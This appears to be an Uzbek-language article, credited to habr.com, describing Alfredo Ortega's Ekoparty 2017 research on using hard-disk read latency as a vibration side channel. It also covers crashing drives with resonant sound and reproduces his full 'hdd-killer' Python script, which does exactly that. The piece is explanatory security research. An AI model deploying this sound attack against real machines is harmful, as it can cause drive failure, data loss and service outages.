Nima uchun siz HDD ga baqirmasligingiz kerak

Nima uchun siz HDD ga baqirmasligingiz kerak

Buenos-Ayresda bo‘lib o‘tgan Ekoparty 2017 kompyuter xavfsizligi konferensiyasida argentinalik xaker Alfredo Ortega juda qiziqarli ishlanmani – mikrofondan foydalanmasdan binolarni yashirin tinglash tizimini namoyish etdi. Ovoz to'g'ridan-to'g'ri qattiq diskka yozilgan!

HDD asosan yuqori intensivlikdagi past chastotali tovushlarni, qadam tovushlarini va boshqa tebranishlarni qabul qiladi. Inson nutqini hali tanib bo'lmaydi, garchi olimlar bu borada ilmiy izlanishlar olib bormoqdalar (masalan, giroskop yoki HDD dan yozib olingan past chastotali tebranishlar orqali nutqni aniqlash).

Ovoz - bu havo yoki boshqa vositaning tebranishi. Inson ularni tebranishlarni ichki quloqqa uzatuvchi quloq pardasi orqali qabul qiladi. Mikrofon taxminan quloq kabi tuzilgan - bu erda ham tebranishlar elektr impulsini qo'zg'atuvchi nozik membrana tomonidan qayd etiladi. Qattiq disk, albatta, atrofdagi havodagi tebranishlar tufayli mikroskopik tebranishlarga ham duchor bo'ladi. Bu hatto HDD-larning texnik xususiyatlaridan ham ma'lum: ishlab chiqaruvchilar odatda maksimal ruxsat etilgan tebranish darajasini ko'rsatadilar va qattiq diskning o'zi ko'pincha uni rezina yoki boshqa izolyatsion materialdan yasalgan tebranishga chidamli idishga joylashtirishga harakat qiladi. Shundan kelib chiqib, HDD yordamida tovushlarni yozib olish mumkin degan xulosaga kelish oson. Qolgan narsa - qanday qilib buni aniqlash.

Alfredo Ortega yon kanalli hujumning o'ziga xos versiyasini, ya'ni vaqtli hujumni taklif qildi. Ushbu hujum, berilgan kirish ma'lumotlariga qarab, qurilmada turli xil operatsiyalar turli vaqtlarda amalga oshiriladi degan taxminga asoslanadi. Bunday holda, "kirish ma'lumotlari" atrof-muhitning tebranishlari, ya'ni tovush bilan bog'liq bo'lgan o'qish boshi va HDD plastinasining tebranishlaridir. Shunday qilib, hisoblash vaqtini o'lchash va ma'lumotlarning statistik tahlilini o'tkazish orqali bosh/plastinkaning tebranishlarini va shuning uchun muhitning tebranishlarini o'lchash mumkin. Ma'lumotni o'qishdagi kechikish qanchalik uzoq bo'lsa, HDD tebranishlari shunchalik kuchli bo'ladi va shuning uchun ovoz balandroq bo'ladi.

Qattiq disk tebranishini qanday o'lchash mumkin? Juda oddiy: shunchaki tizim chaqiruvini ishga tushiring read () — va bajarish uchun ketadigan vaqtni yozib oling. Zamonaviy operatsion tizimlar nanosekundlik aniqlik bilan tizim qo'ng'iroqlari vaqtini o'qish imkonini beradi.

Sektordan ma'lumotni o'qish tezligi HDD korpusining tebranishlari bilan bog'liq bo'lgan bosh va plastinaning holatiga bog'liq. Ana xolos.

Statistik tahlil oddiy Kscope yordam dasturi yordamida amalga oshiriladi. Ular aytganidek, mohir hamma narsa oddiy.

Nima uchun siz HDD ga baqirmasligingiz kerak
Kscope yordam dasturi (stat() syscall)

Kscope - bu tizim chaqiruvlarini bajarish vaqtlaridagi kichik farqlarni ko'rish uchun kichik yordamchi dastur. Manba kodiGitHub-da nashr etilgan.

Alohida omborda HDD vaqti qattiq diskda vaqtli hujum uchun tuzilgan, ya'ni tizim chaqiruvini tahlil qilish uchun sozlangan yordam dasturining versiyasi mavjud. read ().

HDD yordamida ovoz yozishni namoyish qilish, Kscope yordam dasturining ishlashi


Albatta, nutqni bu tarzda tushunish mumkin emas, lekin HDD tebranish sensori sifatida juda mos keladi. Masalan, qattiq poyabzal kiygan yoki yalangoyoq odam kompyuter bilan xonaga kirgan bo'lsa, ro'yxatdan o'tishingiz mumkin (ehtimol, agar tajovuzkor yumshoq krossovka kiygan bo'lsa yoki polda qalin gilam bo'lsa, HDD tebranishlarni qayd eta olmaydi - Bu tekshirishga arziydi). Kompyuter singan oynani yoki kuchli ovoz intensivligi bo'lgan boshqa hodisalarni qayd eta oladi. Ya'ni, qattiq disk o'ziga xos ruxsatsiz kirishni aniqlash tizimi sifatida xizmat qilishi mumkin.

HDD qotil

Aytgancha, shunga o'xshash texnika qattiq disklarni o'chirish uchun ishlatilishi mumkin. Faqat bu erda biz HDD dan tebranishlarni olib tashlamaymiz, aksincha, biz HDD ga oziqlanadigan tebranishlarni hosil qilamiz. Agar siz dinamikdan ovozni HDD chastotasi bilan rezonanslashadigan chastotada o'ynatsangiz, tizim tez orada I/U xatosi bilan qurilmani o'chiradi (Linux yadrosi 120 soniyadan so'ng HDDni to'liq o'chiradi). Qattiq diskning o'zi tuzatib bo'lmaydigan shikastlanishga olib kelishi mumkin.

Nima uchun siz HDD ga baqirmasligingiz kerak
Linux yadrosi qattiq diskni Edifier r120u USB dinamikining dinamiki orqali rezonans chastotada 19 soniyadan so'ng ovozni o'chirib qo'ydi. Karnay quvvatning to'rtdan bir qismida (100 mVt dan kam) yoqilgan va tebranishlarni kuchaytirish uchun stolga qaratilgan HDD dan 20 sm masofada joylashgan. dan ramka video HDD qotilining namoyishi bilan

Shunisi qiziqki, HDD-larga bunday "hujumlar" ba'zan kundalik hayotda tasodifan sodir bo'ladi. Misol uchun, 2016 yil sentyabr oyida ING Bank ma'lumotlar markazi yong'inga qarshi mashg'ulotdan so'ng o'z faoliyatini 10 soatga to'xtatishga majbur bo'ldi. O'nlab qattiq disklar ishlamay qoldi yuqori bosim ostida silindrlardan chiqayotgan inert gazning baland ovozi tufayli. Ovoz juda baland edi (130 dB dan ortiq), lekin siz qattiq disklarga ham baqirolmaysiz - bu HDDga kirishda kechikishni oshiradi.

Ma'lumotlar markazidagi qattiq disklarda odamning qichqirig'i namoyishi. Kechikishni o'lchash


Rezonansli tovushni yaratish uchun Alfredo Ortega Python skriptini yozdi hdd-qotil (video namoyish).

HDD qotil skript Bu juda kichik, shuning uchun uni to'liq bu yerda nashr qilishingiz mumkin.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Manba: www.habr.com

a Izoh qo'shish